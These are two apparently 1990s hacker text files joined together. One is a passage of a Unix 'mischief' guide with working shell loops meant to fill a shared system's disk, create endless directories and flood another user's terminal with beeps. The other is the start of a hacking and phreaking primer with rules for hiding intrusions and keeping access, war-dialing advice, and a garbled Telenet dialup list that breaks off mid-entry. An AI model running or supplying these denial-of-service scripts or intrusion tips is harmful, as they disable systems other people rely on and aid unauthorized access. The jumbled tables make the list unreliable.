contained within '[]'s, the other text is what the system will send to
you.
$[ed hah1]
0
*[a]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[nohup hah1 &]
[^C]
*[w]
754
*[q]
$[chmod +r+w+x hah1]
$[nohup hah1 &]
1234
$
This will create a file called '-fucku!'. Files beginning with a '-'
are very difficult to delete, as when you try to do a 'rm -fucku!'
<rm - remove file> It interprets the '-f' as an option, it tries then
to force delete the file 'ucku!'. As you can imagine.... this wouldn't
quite work. The text after the echo can be anything you wish, I just
used a sample text that is quite pointless and takes up space. The numbers
represent the file size, and process number, they will be different on
your system.
The file will add the text from the echo statement to the file '-fucku!'
until it reaches the 'hah1 &' command, which will make it start over again.
This is an endless loop. For as long as you are on-line, and their are
processes left, the file will continue to add to the file. This is a
very slow method, but it's easy if you are starting from scratch. If
you get a message such as 'cannot fork hah1: process terminated' that means
that the loop is taking up so much memory that the system can no longer
continue with that job. Don't worry, it will settle back to normal after all
the processes are eventually killed, if it does, continue to run the file
in the background until you have a '-fucku!' file that is about 100-200k
long, this will allow us to progress to our next step.
The command 'nohup hah1 &' tells unix to continue to run the 'hah1'
in the background, even after you hangup. This means you can run the
program, hang up, and call back. This function will only work under
the bourne shell. If you have a prompt of '$', then you are using the
bourne shell. This function will become exceedingly useful when we
start with the next step.
The command 'chmod +r+w+x hah1' will make the file readable, writable, and
executable by you. This string may or may not be necessary on the system you
are using. If you get a message such as 'hah1: Permission Denied' than you
will need to use the chmod command. And now onto the next step...
Step Two
We will now explore the ever powerful 'cat' command. The 'cat' command
is the equivalent of the MS-DOS 'type' command. We will use a function
of the unix system called redirection that will allow us to 'cat' files
into each other. This will cause the source file to be copied to the end
of the destination file, I'm sure you're beginning to see the mischief
you can cause with this.
To begin with, create a file called '-fucku2' the same way you created
the '-fucku!' file. Try to run the 'hah1' program until the new 'fucku2'
file is around 100-200k also. This isn't absolutely necessary, but it's
helpful and saves some time.
Next, create the following file with the editor <'ed' or 'edit'>.
I will call it 'hah2', but you may call it whatever you wish.
$[ed hah2]
0
*[a]
[cat -fucku! >> -fucku2]
[cat -fucku2 >> -fucku!]
[no
hup hah2 &]
[^C]
*[w]
61
*[q]
$[chmod +r+w+x hah2]
$[nohup hah2 &]
7049
$
What we've just done is create a very short, and very nasty, program
that can fill 20 megs in under 5 minutes. The file when run will add the
contents of '-fucku!' to the end of '-fucku2', and do the reverse. This
means that when you have two files of 100k to begin with, you will get
the following results after every completed loop...
-fucku!
.. -fucku2 .. -fucku! .. -fucku2
100k
>>
200k
>>
300k
>>
700k
>>
1200k
>>
1900k >>
500k
3100k
As you can see, the file grows VERY quickly. Set it up in the morning
before school, come back and the HD should be completely full. You may
wish to also run multiple write processes, just to confuse the system.
If you do, rename the files to something appropriate, but maintain the
base content. If you do it in several directories, the sysop will have
to do some serious cleaning to get rid of it.
Step Three
Sit back and laugh. If you wait awhile, in approximately 30 minutes,
the average 40 meg hard drive will be full. I've tested this method on
several systems, even an ancient VAX, and the results were more or less
the same. The sysop, or any other user, will be able to write anything
onto the system until this problem is resolved. Many programs need
to create temporary files to even operate. These programs are now
completely unusable, except for the few that save to memory. To delete
the files, the sysop will have to do one of several things, all of which
are very unpleasant. And now for the next lesson...
III - Mischief
This section will describe a couple of ways of perpetrating mischief on a
unix system. These ideas are for the most part harmless, but can definitely
piss people off. The idea of a continuous subdir was molded from one
presented by Shooting Shark.
Idea #1
This method will create an endless amount of directories under a
the current directory. Create multiple files with different name and
directories to really annoy the 'sop. Type the following to accomplish this.
$[ed sub1]
0
*[a]
[mkdir -FuCkU!1]
[chdir -FuCkU!1]
[/xxx/xxx/sub1 &]
[^C]
*[w]
69
*[q]
$[chmod +r+w+x sub1]
$[nohup sub1 &]
7099
$
This program will create a directory called '-FuCkU!1', change to that
directory, then create another one under the first one, and so forth. It
is an endless loop, and will continue virtually forever. The third line
of the program contains a string '/xxx/xxx/sub1 &'. You will need to fill
in the x's with your current directory. To find out your current directory
type 'pwd' this will print a string telling which directory you are in.
Fill in the x's with this data. The rest of the program you should be able
to figure out by now. Try it, you'll like it.
Idea #2
So, you've seen someone on the system that you really don't like? Or do
you just want to piss someone off? This methods for you. This method will
describe a way to send out data to another user, or terminal. Here is what
you will want to type to create a file to anger the other user.
$[ed beep]
0
*[a]
[echo ^G ^G ^G ^G Wheee!!! ^G ^G ^G >> /dev/xxxx]
[nohup beep &]
[^C]
*[w]
25
*[q]
$[chmod +r+w+x beep]
$[nohup beep &]
8002
$
Fill in the '/dev/xxxx' with the terminal you want to annoy. To find out
the terminal of the person you want to fuck over, type 'who' it will print
out something like this....
$[who]
guest
ttyd0
Nov 30 19:06
root
console Nov 30 19:20
Bendover ttyd5
Nov 30 18:45
$
The first column is the name of the user, the second column tells us
what terminal they are logged on as, and the third states at what time
they logged on. The second column is what we need right now. Fill in the
x's with the terminal that you wish. If you wanted to bother the root, you
would type '/dev/console', to bother guest type '/dev/ttyd0'. To bother
more than one terminal, just add another line after the first 'echo'
statement with a different terminal identifier. With the 'nohup' command,
the computer will send a continuous outpouring of beeps until he logs off
or reboots the system. Try it on the terminal you are logged on under to
see exactly what it does.
トトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトト
IV - Conclusion
These projects should be enough to get you started on your road to Unix
Hell. With a little experience you will be able to think of new ideas that
will alloy you access to the systems hidden features and assets. I will
release other files on Unix in the near future, possibly one on basic Unix
hacking, FTP, UUCP netting, or any number of other Unix related concepts.
If you are interested in learning more on Unix, you can contact me on the
systems at the top of the file. Thus concludes one dark Kryptic Night...
V - Bibliography and Suggested Reading
Unix Use and Security From the Ground Up: by the Prophet in 1986
This is probably the BEST file I've ever seen on the subject
of Unix. It is written for the beginner, and contains valuable
information for the advanced user. The Prophet became a member
of Lod/H and is currently serving a sentence of 20 months in
relation to the big Lod/H bust of '90.
Articles on unix trojans and mischief: by Shooting Shark
Shooting Shark presents some interesting information
on various ways to commit havoc on Unix systems.
You can find most of his essays in both Phrack and Lod
magazines.
Lod/H Tech Journals
The Legion of Doom/Hackers are perhaps the most skilled
and knowledgable hackers in the underground society.
Their 'Tech Journals' describe almost anything you'd ever
want to know about illegal activities.
Phrack Magazines
Phrack is also one of the best sources for information on
a multitude of subjects, ranging from social engineering,
to carding, to making explosives. For those with free time,
download all of the 32 articles released to date.
Creating Users on Unix
This was my second text file release. It tells how to
create new users on a Unix system using the root account.
It is told for beginner and advanced hacker alike.
VI - Greets
Heh, Data Kult, when you gettin' Kelsea's phone number?
Bounty Hunter, cool new software, hope you can work out the bugs.
Lord Logics, ega STILL? Come on! Get with it!
Scooter, chill with the 800's
Oolon, get Entropy back up!
Digital Derelict, Jerusalem is nothing.... you're going down... soon
|
|
\
|
/\/\
|
|
/
|/| /
|/
|
|\ RYPTIC
|
/
\
/ |
/
|\ |
|
|
/
ウ\
トツト
\ /
ウ \ A ウ A
/ \
ウ /
ウ /
ウ/
ウ/
<
\
\
\
\
/
U L T
ウ\
ウ \
\
| \ |
|
/
\|IGHT
`
- Kryptic Night, Data Kult, Lord Logics, Shadow Walker, Bounty Hunter Nacht Habicht
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
######################################################################
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
**********************************************************************
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+
+
+
THE ULTIMATE BEGINNER'S GUIDE TO HACKING AND PHREAKING
+
+
+
+
+
+
+
+
+
BY
+
+
REVELATION
+
+
LOA--ASH
+
+
+
+
+
+
+
+
+
+
+
+ Written: 08/4/96
Volume: 1 +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
**********************************************************************
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
######################################################################
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
This document was written in Windows 95 Word Pad.
The title
above, and some of the text looks a little screwed up when read in
anything else, so read it in Word Pad.
Anyway, for those of you who are wondering "what do the letters
"LOA" under his handle stand for?"
Well, LOA stands for Legion Of the
Apocalypse, which is a group of elite hackers and phreakers in my area.
The current members of LOA are:
Revelation, Phreaked Out, Hack Attack, Electric Jaguar, and
Phreak Show
I started LOA when I discovered that there were many good
hackers and phreakers in my area. I thought that an organized group of
hackers and phreakers would accomplish much more than an individual
could by himself. Thus the Legion Of the Apocalypse was formed and has
been around for a while since. Our main goal is to show the public
what hacking and phreaking is all about and to reveal confidential
information to the hacking/phreaking community so that we can learn
more about computers, telephones, electronics, etc. We are hoping to
get our own World Wide Web page soon, so keep an eye out for it. It
will contain all of the hacking, phreaking, computer, telephone,
security, electronics, virus, and carding information that you could
possibly want.
Also, if some of you are wondering why I chose the word
Revelation as my handle, well, Revelation means revealing or
unveiling, which is exactly what I intend to do as a hacker/phreaker.
I intend to reveal all the information that I can gather while
hacking and phreaking.
Anyway, I wrote this document because I have read all the files
that I could get my hands on and noticed that there has never been a
really good file written that guided beginning hackers and phreakers
step by step.
When I began hacking and started reading all of the beginner
files, I still had many un-answered questions. My questions were
eventually answered, but only through LOTS of reading and practice.
In this file, I hope to give basic step by step instructions that will
help beginning hackers and phreakers get started.
But, DO NOT think
that this will save you from having to read alot.
If you want to be a
hacker/phreaker, reading is the most important thing you can do. You
will have to do ALOT of reading no matter what.
This document was intended for beginners, but it can also be used
as a reference tool for advanced hackers and phreakers.
Please distribute this document freely. Give it to anyone that
you know who is interested in hacking and/or phreaking. Post it on your
World Wide Web page, Ftp sites, and BBS's. Do whatever you want with it
as long as it stays UNCHANGED.
As far as I know, this is the most complete and in depth beginners
guide available, that is why I wrote it.
Also, I plan to have new
volumes come out whenever there has been a significant change in the
material provided, so keep an eye out for them.
LOA is planning on
starting an on-line magazine, so look for that too. And we are also starting a hacking
business. Owners of businesses can hire us to hack into their systems to find the
security faults. The name of this company is A.S.H. (American Security Hackers), and
it is run by LOA. If you have any questions about this company, or would like to hire
us, or just want security advice, please E-Mail A.S.H. at "an641839@anon.penet.fi".
This document is divided into three main sections with many
different sub-sections in them. The Table Of Contents is below:
Table Of Contents:
I. HACKING
A. What is hacking?
B. Why hack?
C. Hacking rules
D. Getting started
E. Where and how to start hacking
F. Telenet commands
G. Telenet dialups
H. Telenet DNIC's
I. Telenet NUA's
J. Basic UNIX hacking
K. Basic VAX/VMS hacking
L. Basic PRIME hacking
M. Password list
N. Connecting modems to different phone lines
O. Viruses, Trojans, and Worms
II. PHREAKING
A. What is phreaking?
B. Why phreak?
C. Phreaking rules
D. Where and how to start phreaking
E. Boxes and what they do
F. Red Box plans
G. Free calling from COCOT's
H. ANAC numbers
III. REFERENCE
A. Hacking and phreaking W.W.W. pages
B. Good hacking and phreaking text files
C. Hacking and phreaking Newsgroups
D. Rainbow Books
E. Hacking and phreaking magazines
F. Hacking and phreaking movies
G. Hacking and phreaking Gopher sites
H. Hacking and phreaking Ftp sites
I. Hacking and phreaking BBS's
J. Cool hackers and phreakers
K. Hacker's Manifesto
L. Happy hacking!
* DISCLAIMER *
"Use this information at your own risk. I Revelation, nor any
other member of LOA, nor the persons providing this file, will NOT
assume ANY responsibility for the use, misuse, or abuse, of the
information provided herein. The following information is provided for
educational purposes ONLY. The informaion is NOT to be used for illegal
purposes. By reading this file you ARE AGREEING to the following terms:
I understand that using this information is illegal. I agree to, and
understand, that I am responsible for my own actions. If I get into
trouble using this information for the wrong reasons, I promise not
to place the blame on Revelation, LOA, or anyone that provided this
file. I understand that this information is for educational purposes only. This file
may be used to check your security systems and if you would like a thorough check
contact A.S.H.
This file is basically a compilation of known hacking and
phreaking information and some information gathered from my own
experience as a hacker/phreaker. I have tried to make sure that
everything excerpted from other documents was put in quotes and labeled
with the documents name, and if known, who wrote it. I am sorry if any
mistakes were made with quoted information."
*-Revelation-*
LOA
I. HACKING
A. What is hacking?
Hacking is the act of penetrating computer systems to gain
knowledge about the system and how it works.
Hacking is illegal because we demand free access to ALL data, and
we get it. This pisses people off and we are outcasted from society, and
in order to stay out of prison, we must keep our status of being a
hacker/phreaker a secret.
We can't discuss our findings with anyone but
other members of the hacking/phreaking community for fear of being
punished. We are punished for wanting to learn. Why is the government
spending huge amounts of time and money to arrest hackers when there are
other much more dangerous people out there. It is the murderers,
rapists, terrorists, kidnappers, and burglers who should be punished for what they
have done, not hackers.
We do NOT pose a threat to anyone. We are NOT out to hurt
people or there computers. I admit that there are some people out there who call
themselves hackers and who deliberately damage computers. But these people are
criminals, NOT hackers. I don't care what the government says, we are NOT criminals.
We are NOT trying to alter or damage any system. This is widely misunderstood. Maybe
one day people will believe us when we say that all we want is to learn.
There are only two ways to get rid of hackers and phreakers.
One is to get rid of computers and telephones, in which case we would
find other means of getting what we want.(Like that is really going to
happen.) The other way is to give us what we want, which is free access
to ALL information. Until one of those two things happen, we are not
going anywhere.
B. Why hack?
As said above, we hack to gain knowledge about systems and the
way they work. We do NOT want to damage systems in any way. If you do
damage a system, you WILL get caught. But, if you don't damage
anything, it is very unlikely that you will be noticed, let alone be
tracked down and arrested, which costs a considerable amount of time
and money.
Beginners should read all the files that they can get their
hands on about anything even remotely related to hacking and phreaking,
BEFORE they start hacking. I know it sounds stupid and boring but it
will definetly pay off in the future. The more you read about hacking
and phreaking, the more unlikely it is that you will get caught. Some
of the most useless pieces of information that you read could turn out
to be the most helpful. That is why you need to read everything
possible.
C. Hacking rules
1.
Never damage any system. This will only get you into trouble.
2.
Never alter any of the systems files, except for those needed to
insure that you are not detected, and those to insure that you have
access into that computer in the future.
3.
Do not share any information about your hacking projects with
anyone but those you'd trust with your life.
4.
When posting on BBS's (Bulletin Board Systems) be as vague as
possible when describing your current hacking projects. BBS's CAN
be monitered by law enforcement.
5.
Never use anyone's real name or real phone number when posting
on a BBS.
6.
Never leave your handle on any systems that you hack in to.
7.
DO NOT hack government computers.
8.
Never speak about hacking projects over your home telephone line.
9.
Be paranoid. Keep all of your hacking materials in a safe place.
10.
To become a real hacker, you have to hack. You can't just sit
around reading text files and hanging out on BBS's. This is not what
hacking is all about.
D. Getting started
The very first thing you need to do is get a copy of PKZIP
or some other file unzipping utility. Nearly everything that you
download from the Internet or from a BBS will be zipped. A zipped file is a file that
has been compressed. Zipped files end with the extension ".zip".
Then you need to get yourself a good prefix scanner.(also known
as a War Dialer)
This is a program that automatically dials phone
numbers beginning with the three numbers (prefix) that you specify. It
checks to see if the number dialed has a carrier.(series of beeps that
tells you that you have dialed a computer) Try and find a large
business area prefix to scan. It is these businesses that have
interesting computers. There are many good scanners out there, but I
would recommend Autoscan or A-Dial. These are very easy to use and get
the job done quickly and efficiently.
E. Where and how to start hacking
After you get yourself a good scanner, scan some prefixes and
find some cool dialups, then do the following: From your terminal,
dial the number you found. Then you should hear a series of beeps
(carrier) which tells you that you are connecting to a remote computer.
It should then say something like "CONNECT 9600" and then identify the
system that you are on. If nothing happens after it says "CONNECT 9600"
try hitting enter a few times. If you get a bunch of garbage adjust your
parity, data bits, stop bits, baud rate, etc., until it becomes clear.
That is one way of connecting to a remote computer. Another way is
through Telenet or some other large network.
Telenet is a very large network that has many other networks and
remote computers connected to it.
Ok, here is how you would connect to a remote computer through
Telenet:
First, you get your local dialup(phone number) from the list that
I have provided in Section G.
Then you dial the number from your
terminal and connect.(If you get a bunch of garbage try changing your
parity to odd and your data bits to 7, this should clear it up.) If
it just sits there hit enter and wait a few seconds, then hit enter
again. Then it will say "TERMINAL=" and you type in your terminal
emulation. If you don't know what it is just hit enter. Then it will
give you a prompt that looks like "@". From there you type "c" and then
the NUA (Network User Address) that you want to connect to. After you
connect to the NUA, the first thing you need to do is find out what type
of system you are on.(i.e. UNIX, VAX/VMS, PRIME, etc.)
There are other things that you can do on Telenet besides
connecting to an NUA. Some of these commands and functions are listed in
the next section.
You can only connect to computers which accept reverse charging.
The only way you can connect to computers that don't accept reverse charging is if
you have a Telenet account. You can try hacking these. To do this, at the "@" prompt
type "access". It will then ask you for your Telenet ID and password.
Telenet is probably the safest place to start hacking because of
the large numbers of calls that they get. Make sure you call during
business hours (late morning or early afternoon) so there are many
other people on-line.
F. Telenet commands
Here is a list of some Telenet commands and their functions. This
is only a partial list.
Beginners probably won't use these commands,
but I put them here for reference anyway.
COMMAND
FUNCTION
c
Connect to a host.
stat
Shows network port.
full
Network echo.
half
Terminal echo.
telemail
Mail.(need ID and password)
mail
Mail.(need ID and password)
set
Select PAD parameters
cont
Continue.
d
Disconnect.
hangup
Hangs up.
access
Telenet account.(ID and password)
G. Telenet dialups
Here is the list of all the Telenet dialups that I know of in
the U.S.A., including the city, state, and area code:
STATE,CITY:
AREA CODE:
NUMBER:
AL, Anniston
205
236-9711
AL, Birmingham
205
328-2310
AL, Decatur
205
355-0206
AL, Dothan
205
793-5034
AL, Florence
205
767-7960
AL, Huntsville
205
539-2281
AL, Mobile
205
432-1680
AL, Montgomery
205
269-0090
AL, Tuscaloosa
205
752-1472
AZ, Phoenix
602
254-0244
AZ, Tucson
602
747-0107
AR, Ft.Smith
501
782-2852
AR, Little Rock
501
327-4616
CA, Bakersfield
805
327-8146
CA, Chico
916
894-6882
CA, Colton
714
824-9000
CA, Compton
213
516-1007
CA, Concord
415
827-3960
CA, Escondido
619
741-7756
CA, Eureka
707
444-3091
CA, Fresno
209
233-0961
CA, Garden Grove
714
898-9820
CA, Glendale
818
507-0909
CA, Hayward
415
881-1382
CA, Los Angeles
213
624-2251
CA, Marina Del Rey
213
306-2984
CA, Merced
209
383-2557
CA, Modesto
209
576-2852
CA, Montery
408
646-9092
CA, Norwalk
213
404-2237
CA, Oakland
415
836-4911
CA, Oceanside
619
430-0613
CA, Palo Alto
415
856-9995
CA, Pomona
CA, Sacramento
714
916
CA, Salinas
626-1284
448-6262
408
443-4940
CA, San Carlos
415
591-0726
CA, San Diego
619
233-0233
CA, San Francisco
415
956-5777
CA, San Jose
408
294-9119
CA, San Pedro
213
548-6141
CA, San Rafael
415
472-5360
CA, San Ramon
415
829-6705
CA, Santa Ana
714
558-7078
CA, Santa Barbara
805
682-5361
CA, Santa Cruz
408
429-6937
CA, Santa Rosa
707
656-6760
CA, Stockton
209
957-7610
CA, Thousand Oaks
805
495-3588
CA, Vallejo
415
724-4200
CA, Ventura
805
656-6760
CA, Visalia
209
627-1201
CA, West Covina
818
915-5151
CA, Woodland Hills
818
887-3160
C0, Colorado
719
635-5361
CO, Denver
303
337-6060
CO, Ft. Collins
303
493-9131
CO, Grand Junction
303
241-3004
CO, Greeley
303
352-8563
CO, Pueblo
CT, Bridgeport
719
203
CT, Danbury
542-4053
335-5055
203
794-9075
CT, Hartford
203
247-9479
CT, Middletown
203
344-8217
CT, New Britain
203
225-7027
CT, New Haven
203
624-5954
CT, New London
203
447-8455
CT, Norwalk
203
866-7404
CT, Stamford
203
348-0787
CT, Waterbury
203
753-4512
DE, Dover
302
678-8328
DE, Newark
302
454-7710
DC, Washington
202
429-7896
DC, Washington
202
429-7800
FL, Boca Raton
407
338-3701
FL, Cape Coral
813
275-7924
FL, Cocoa Beach
407
267-0800
FL, Daytona Beach
904
255-2629
FL, Ft. Lauderdale
305
764-4505
FL, Gainsville
904
338-0220
FL, Jacksonville
904
353-1818
FL, Lakeland
813
683-5461
FL, Melbourne
407
242-8247
FL, Miami
305
372-0230
FL, Naples
813
263-3033
FL, Ocala
904
351-3790
FL, Orlando
407
422-4099
FL, Pensacola
904
FL, Pompano Beach
432-1335
305
941-5445
FL, St. Petersburg
813
323-4026
FL, Sarasota
813
923-4563
FL, Tallahassee
904
681-1902
FL, Tampa
FL, West Palm Beach
GA, Albany
813
407
224-9920
833-6691
912
888-3011
GA, Athens
404
548-5590
GA, Atlanta
404
523-0834
GA, Augusta
404
724-2752
GA, Colombus
404
GA, Macon
571-0556
912
743-8844
GA, Rome
404
234-1428
GA, Savannah
912
236-2605
HI, Oahu
808
528-0200
ID, Boise
208
343-0611
ID, Idaho Falls
208
529-0406
ID, Lewiston
208
743-0099
ID, Pocatella
208
232-1764
IL, Aurora
IL, Bloomington
312
309
896-0620
827-7000
IL, Chicago
312
938-0600
IL, Decatur
217
429-0235
IL, Dekalb
815
758-2623
IL, Joliet
815
726-0070
IL, Peoria
309
637-8570
IL, Rockford
815
965-0400
IL, Springfield
217
753-1373
IL, Urbana
217
384-6428
IN, Bloomington
812
332-1344
IN, Evansville
812
424-7693
IN, Ft. Wayne
219
426-2268
IN, Gary
219
882-8800
IN, Indianapolis
317
299-0024
IN, Kokomo
IN, Lafayette
317
317
IN, Muncie
455-2460
742-6000
317
282-6418
IN, South Bend
219
233-7104
IN, Terre Haute
812
232-5329
IA, Ames
515
233-6300
IA, Cedar Rapids
319
364-0911
IA, Davenport
319
324-2445
IA, Des Moines
515
288-4403
IA, Dubuque
319
556-0783
IA, Iowa City
319
351-1421
IA, Sioux City
712
255-1545
IA, Waterloo
319
232-5441
KS, Lawrence
913
843-8124
KS, Manhattan
913
537-0948
KS, Salina
913
825-7900
KS, Topeka
913
233-9880
KS, Wichita
316
262-5669
KY, Bowling Green
502
782-7941
KY, Frankfort
502
875-4654
KY, Lexington
606
233-0312
KY, Louisville
502
589-5580
KY, Owensboro
502
686-8107
LA, Alexandria
318
445-1053
LA, Baton Rouge
504
343-0753
LA, Lafayette
318
233-0002
LA, Lake Charles
318
436-0518
LA, Monroe
318
387-6330
LA, New Orleans
504
524-4094
LA, Shreveport
318
221-5833
ME, Augusta
207
622-3123
ME, Brewer
207
989-3081
ME, Lewiston
207
784-0105
ME, Portland
207
761-4000
MD, Annapolis
301
224-8550
MD, Baltimore
301
727-6060
MD, Frederick
301
293-9596
MA, Boston
617
292-0662
MA, Brockton
508
580-0721
MA, Fall River
508
677-4477
MA, Framingham
508
879-6798
MA, Lawrence
508
975-2273
MA, Lexington
617
863-1550
MA, Lowell
MA, New Bedford
508
508
937-5214
999-2915
MA, Northampton
413
586-0510
MA, Pittsfield
413
499-7741
MA, Salem
508
744-1559
MA, Springfield
413
781-3811
MA, Woods Hole
508
540-7500
MA, Worcester
508
755-4740
MI, Ann Arbor
313
996-5995
MI, Battle Creek
616
968-0929
MI, Detroit
313
964-2988
MI, Flint
313
235-8517
MI, Grand Rapids
616
MI, Jackson
MI, Kalamazoo
774-0966
517
616
782-8111
345-3088
MI, Lansing
517
484-0062
MI, Midland
517
832-7068
MI, Muskegon
616
MI, Pontiac
MI, Port Huron
313
313
MI, Saginaw
MI, Southfield
726-5723
332-5120
982-8364
517
313
790-5166
827-4710
MI, Traverse City
616
946-2121
MI, Warren
313
575-9152
MN, Duluth
218
722-1719
MN, Mankato
517
388-3780
MN, Minneapolis
612
341-2459
MN, Rochester
507
282-5917
MN, St. Cloud
612
253-2064
MS, Gulfport
601
863-0024
MS, Jackson
601
969-0036
MS, Meridian
601
482-2210
MS, Starkville
601
324-2155
MO, Columbia
314
449-4404
MO, Jefferson City
314
634-5178
MO, Kansas City
816
221-9900
MO, St. Joseph
816
279-4797
MO, St. Louis
314
421-4990
MO, Springfield
417
864-4814
MT, Billings
406
245-7649
MT, Great Falls
406
771-0067
MT, Helena
MT, Missoula
406
406
443-0000
721-5900
NE, Lincoln
402
475-4964
NE, Omaha
402
341-7733
NV, Las Vegas
702
737-6861
NV, Reno
702
827-6900
NH, Concord
603
224-1024
NH, Durham
603
868-2924
NH, Manchester
603
NH, Nashua
NH, Portsmouth
627-8725
603
603
NJ, Atlantic City
880-6241
431-2302
609
348-0561
NJ, Freehold
201
780-5030
NJ, Hackensack
201
488-6567
NJ, Marlton
609
596-1500
NJ, Merchantville
609
663-9297
NJ, Morristown
201
455-0275
NJ, New Brunswick
201
745-2900
NJ, Newark
201
623-0469
NJ, Passaic
201
778-5600
NJ, Paterson
201
684-7560
NJ, Princeton
609
799-5587
NJ, Rahway
201
815-1885
NJ, Redbank
201
571-0003
NJ, Roseland
201
227-5277
NJ, Sayreville
201
525-9507
NJ, Trenton
609
989-8847
NM, Albuquerque
505
243-4479
NM, Las Cruces
505
526-9191
NM, Santa Fe
505
473-3403
NY, Albany
NY, Binghampton
518
607
465-8444
772-6642
NY, Buffalo
716
847-1440
NY, Dear Park
516
667-5566
NY, Hempstead
516
292-3800
NY, Ithaca
607
277-2142
NY, New York City
212
741-8100
NY, New York City
212
620-6000
NY, Plattsburgh
518
562-1890
NY, Poughkeepsie
914
473-2240
NY, Rochester
716
454-1020
NY, Syracuse
315
472-5583
NY, Utica
315
797-0920
NY, Whit Plains
914
328-9199
NC, Asheville
704
252-9134
NC, Charlotte
704
332-3131
NC, Fayetteville
919
323-8165
NC, Gastonia
704
865-4708
NC, Greensboro
919
273-2851
NC, High Point
919
889-7494
NC, North Wilkesboro
919
838-9034
NC, Raleigh
NC, Res Tri Park
919
919
NC, Tarboro
NC, Wilmington
549-8139
919
919
823-0579
763-8313
NC, Winston-Salem
919
ND, Fargo
701
ND, Grand Forks
834-8254
701
725-2126
235-7717
775-7813
ND, Mandan
701
663-2256
OH, Canton
216
452-0903
OH, Cincinnati
513
579-0390
OH, Cleveland
216
575-1658
OH, Colombus
614
463-9340
OH, Dayton
513
461-5254
OH, Elyria
216
323-5059
OH, Hamilton
513
863-4116
OH, Kent
216
678-5115
OH, Lorain
216
960-1170
OH, Mansfield
419
526-0686
OH, Sandusky
419
627-0050
OH, Springfield
513
324-1520
OH, Toledo
419
255-7881
OH, Warren
216
394-0041
OH, Wooster
216
264-8920
OH, Youngstown
216
743-1296
OK, Bartlesville
918
336-3675
OK, Lawton
405
353-0333
OK, Oklahoma City
405
232-4546
OK, Stillwater
405
OK, Tulsa
OR, Corvallis
918
503
OR, Eugena
OR, Hood River
624-1113
584-3247
754-9273
503
503
683-1460
386-4405
OR, Klamath Falls
503
882-6282
OR, Medford
503
779-6343
OR, Portland
503
OR, Salem
PA, Allentown
295-3028
503
215
PA, Altoona
378-7712
435-3330
814
949-0310
PA, Carlisle
717
249-9311
PA, Danville
717
271-0102
PA, Erie
814
899-2241
PA, Harrisburg
717
236-6882
PA, Johnstown
814
535-7576
PA, King Of Prussia
215
337-4300
PA, Lancaster
717
295-5405
PA, Philadelphia
215
574-9462
PA, Pittsburgh
412
288-9950
PA, Reading
PA, Scranton
215
717
PA, State College
376-8750
961-5321
814
231-1510
PA, Wilkes-Barre
717
829-3108
PA, Williamsport
717
494-1796
PA, York
717
846-6550
RI, Providence
401
751-7910
SC, Charleston
803
722-4303
SC, Columbia
803
254-0695
SC, Greenville
803
233-3486
SC, Spartenburg
803
585-1637
SC, Pierre
605
224-0481
SC, Rapid City
605
348-2621
SC, Sioux Falls
605
336-8593
TN, Bristol
615
968-1130
TN, Chattanooga
615
756-1161
TN, Clarksville
615
552-0032
TN, Johnson City
615
282-6645
TN, Knoxville
615
525-5500
TN, Memphis
901
521-0215
TN, Nashville
615
244-3702
TN, Oak Ridge
615
481-3590
TX, Abilene
TX, Amarillo
915
806
676-9151
373-0458
TX, Athens
214
677-1712
TX, Austin
512
928-1130
TX, Brownsville
512
TX, Bryan
TX, Corpus Christi
542-0367
409
512
822-0159
884-9030
TX, Dallas
214
748-6371
TX, El Paso
915
532-7907
TX, Ft. Worth
817
332-4307
TX, Galveston
409
762-4382
TX, Houston
713
227-1018
TX, Laredo
512
724-1791
TX, Longview
214
236-4205
TX, Lubbock
806
747-4121
TX, Mcallen
512
686-5360
TX, Midland
915
561-9811
TX, Nederland
409
722-3720
TX, San Angelo
915
944-7612
TX, San Antonio
512
225-8004
TX, Sherman
214
893-4995
TX, Temple
817
773-9723
TX, Tyler
214
597-8925
TX, Waco
817
752-9743
TX, Wichita Falls
817
322-3774
UT, Ogden
801
627-1630
UT, Provo
801
373-0542
UT, Salt Lake City
801
359-0149
VT, Burlington
802
864-0808
VT, Montpelier
802
229-4966
VT, Rutland
802
775-1676
VT, White River Jct.
802
295-7631
VA, Blacksburg
703
552-9181
VA, Charlottesville
804
977-5330
VA, Covington
703
962-2217
VA, Fredericksburg
703
371-0188
VA, Harrisonburg
703
